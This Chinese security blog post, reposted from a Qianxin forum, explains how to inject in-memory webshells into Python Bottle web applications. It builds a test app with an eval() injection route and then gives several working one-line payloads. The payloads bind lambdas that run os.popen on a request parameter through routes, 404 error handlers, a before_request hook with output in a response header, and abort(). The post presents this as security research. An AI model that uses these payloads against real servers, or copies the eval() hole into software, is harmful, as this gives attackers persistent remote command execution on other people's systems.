探寻Bottle框架内存马

admin 2025年1月26日16:28:12评论3 views字数 3467阅读11分33秒阅读模式

探寻Bottle框架内存马

文章来源:奇安信攻防社区

链接:https://forum.butian.net/share/4048

作者:Massa

在某次测试时候 碰见了一个叫bottle的框架 于是探寻了下在实际中可应用的注入内存马的方法

探寻Bottle框架内存马

0x00 环境搭建

我们直接pip3 install bottle下载最新版本即可

然后在这里写一段代码,手动添加一条测试路由大概如下

探寻Bottle框架内存马

#!/usr/bin/env python  
# -*- coding:utf-8 -*-
from bottle import template, Bottle,request,error

app = Bottle()
@error(404)
@app.route('/memshell')
def index():
 result = eval(request.params.get('cmd'))
 return template('Hello {{result}}, how are you?',result)

@app.route('/')
def index():
return 'Hello world'
if __name__ == '__main__':
 app.run(host='0.0.0.0', port=8888,debug=True)

在cmd我们可以执行python代码 即可开始测试

0x01 Bottle路由规则

我对内存马的理解就是注入一段执行命令的代码,把他找一个回显位点或者说绑定一个自定义的路由

在这之前 我们要理清整个框架的路由如何解析 方便我们日后的自定义路由的绑定
探寻Bottle框架内存马

首先在装饰器的使用 直接调用一个route函数

探寻Bottle框架内存马

我们跟进来看 他其实有很多默认的参数 在不看代码前 我们在看文档描述其实就能知道意义

首先我们传进去的 如图所示的 /memshell 就是我们的path

跟进代码

探寻Bottle框架内存马

可以看到 在一开始他进行了一个判断 如果 path 是一个可调用对象(例如一个函数),则交换 path 和 callback 的角色,将原本作为 path 的值赋给 callback,并将 path 设置为 None

这个其实我们也很好理解就是他会进行动态判断传入参数的类型 进行赋值,当你看到callback的时候 其实就会想到如果我们可以自定义一个函数 传进去 就能进行一个绑定的结果 但我们先别急 继续看完代码

剩下的代码定义了一个装饰器decorator函数 专门用来接收callback参数 然后下面一段都是生成路由的规则

我们可以看到最后通过创建一个Route对象 来完成路由的创建

最后走进add_route函数

探寻Bottle框架内存马

对路由的规则和方法进行添加 以此完成最后的创建

0x02 如何使用callback

我们知道路由里面可以传入一个callback作为一个回调函数 或者说处理请求的函数 但是在路由本身解析的过程 他本意是与用户自定义一个函数进行绑定 看起来我们好像没什么办法了

所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数 经过搜索我发现了python自己默认自带的lambda表达式

探寻Bottle框架内存马

他的语法非常简单而且还能省略arguments 参数 可以直接使用这种方式

lambda : print(1)

探寻Bottle框架内存马

所以我的poc如上

我执行print(1) 我发现访问/b路由 他是一片空白的 在我们启动端

探寻Bottle框架内存马

是看到可以成功执行的命令的 所以我们注入路由是可行的,而且lambda表达式也是可以的

0x03 思路(1) 直接绑定路由

有了这个思路 我直接手动引入os执行命令

探寻Bottle框架内存马

再访问/b路由

探寻Bottle框架内存马

可以看到能够成功完全可以 而且页面也是有回显的

这个很好理解 本身我们的路由就是和回调函数绑定的 所以执行的命令 也会直接回显在路由上 这个思路我们不需要找其他回显之类的就可以进行命令执行

那么接下来的操作就是让popen传进去的参数可控就可以了

app.route("%2Fb"%2C"GET"%2Clambda%20%3A__import__(%27os%27).popen(request.params.get('a')).read())

poc如上即可

你使用这种 也是完全可以的 request.query.get('a')

0x04 思路(2) 利用一些错误页面

很多时候框架都会自定义一些错误页面 比如404 会有对应的输出

所以我翻阅了下 bottle框架的对应源码

探寻Bottle框架内存马

@error() 装饰器实际上是注册一个错误处理函数,用于捕获特定的 HTTP 错误。错误处理函数会接受一个 response 对象和错误信息,并允许你自定义返回的错误页面或日志

他通过wrapper函数传入 handler 把他与code错误码进行匹配 其实handler就是一个函数的意思

如果你在正常写代码自定义错误信息你可以通过这种方式

探寻Bottle框架内存马

但是我们使用时候肯定依旧不能调用自定义函数

阅读代码发现如果你直接调用error方法 他其实是会返回一个wrapper函数的 而wrapper函数的参数就是我们自定义的函数

所以也就是我们可以

app.error(404)(lambda e: print(1))

构造poc如上即可 接下来就是简单的引入os即可 最终poc

app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())

0x05 思路(3) 利用hook

翻阅文章看到一些师傅提到了python很多框架都内置了一些hook函数

于是我也阅读了下Bottle环境的相关Hook源码

探寻Bottle框架内存马

Hook就相当于一个事件 当这个事件发生的时候就会触发这个事件执行

比如图中有请求前 请求后 请求重启等事件的触发

探寻Bottle框架内存马

在这里可以看到对bottle框架的hook进行操作 在添加时候我们可以看到他专门有一个参数就是func 也就是执行的函数

我们随便选一种好触发的 比如before_request

探寻Bottle框架内存马

我们手动添加add_hook

探寻Bottle框架内存马
再进行访问发现果然会触发函数

但是在这种操作情况下 最难的就是该如何创建回显呢?

一些ctf经验告诉我 其实可以做一种类似半回显的办法

就是比如

探寻Bottle框架内存马

我们其实是有响应头的 如果我们控制在响应头来进行回显

如果想要控制响应头我们一定要关注一个操作对象 就是相应的reponse对象

探寻Bottle框架内存马

可以很容易找到BaseResponse类

稍微简单翻阅就可以看到

探寻Bottle框架内存马

这个有set_header可以方便我们设置name 和值了 那现在关键点就在于如何调用到response对象 或者说操纵response对象

我们在使用bottle框架他内置了response对象

也就是我们import之后就可以直接调用

那我们其实也可以直接使用__import__引入

__import__('bottle').response 就可以了

最后poc

app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))

在这里我怕执行命令的时候有什么字符会影响正常运行 所以套一层base64编码

探寻Bottle框架内存马

可以发现能够成功回显在响应头里

但其实在目前我们的视野拓展到可以控制Bottle框架内置的一些函数的话 就可以再多看看

我注意到bottle框架中的一个内置函数abort

探寻Bottle框架内存马

不仅是因为他可以触发一个异常 而且他第二个参数是我们可控回显在页面上的

所以我构造如下的poc

app.add_hook(%27before_request%27,%20lambda:%20__import__(%27bottle%27).abort(404,__import__(%27os%27).popen(request.query.get(%27a%27)).read()))

这样跟前面的利用错误很相像

探寻Bottle框架内存马

这样访问一个不存在的路由的的时候他就会触发

但测试的时候发现有个弊端 因为注入的时候触发了异常 所以会严重影响业务,所以可能用处不是特别大,只当学习拓展了

后记&&参考链接

感谢天工实验室的师傅 发表的这篇文章https://research.qianxin.com/archives/2329 让我在探索时候有了很多灵感

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):探寻Bottle框架内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日16:28:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探寻Bottle框架内存马https://cn-sec.com/archives/3678059.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息